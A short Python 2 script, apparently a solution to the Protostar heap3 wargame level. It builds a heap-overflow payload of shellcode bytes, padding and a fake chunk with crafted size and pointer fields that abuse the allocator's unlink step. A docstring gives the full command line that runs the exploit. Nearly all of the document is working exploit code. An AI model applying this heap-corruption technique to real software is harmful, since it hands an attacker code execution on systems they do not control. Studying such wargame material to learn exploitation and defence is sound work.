''' Wokring exploit

/opt/protostar/bin/heap3 `/bin/echo -en "AAAAAAAA\xB8\x64\x88\x04\x08\xFF\xD0"` `/bin/echo -en "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x59"` `/bin/echo -en "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x10\xc0\x04\x08"`

'''

''' Force colision by creating the fake chunk after "C" by marking its previous (chunk "C") as free) ''' 

import struct

space = " "		# It will be used to seperate the command line arguments
chunk_a = "AAAAAAAA" + "\xB8\x64\x88\x04\x08\xFF\xD0"
chunk_b = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
chunk_c_overwritten_heap_metadata = "BBBB" + "\x59"
chunk_c = "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC" 
fake_chunk_prev_size = "\xfc\xff\xff\xff"
fake_chunk_my_size =  "\xfc\xff\xff\xff" 
fake_chunk_prev_ptr = "\x1c\xb1\x04\x08"
fake_chunk_next_ptr = "\x10\xc0\x04\x08"

#payload = chunk_a + chunk_b + chunk_c 

# chunk_a is First argument
# chunk_b + chunk_c_overwritten_heap_metadata is Second argument
# And rest of the thing is Third argument

payload = chunk_a + space + chunk_b + chunk_c_overwritten_heap_metadata + space + chunk_c + fake_chunk_prev_size + fake_chunk_my_size + fake_chunk_prev_ptr + fake_chunk_next_ptr

print payload
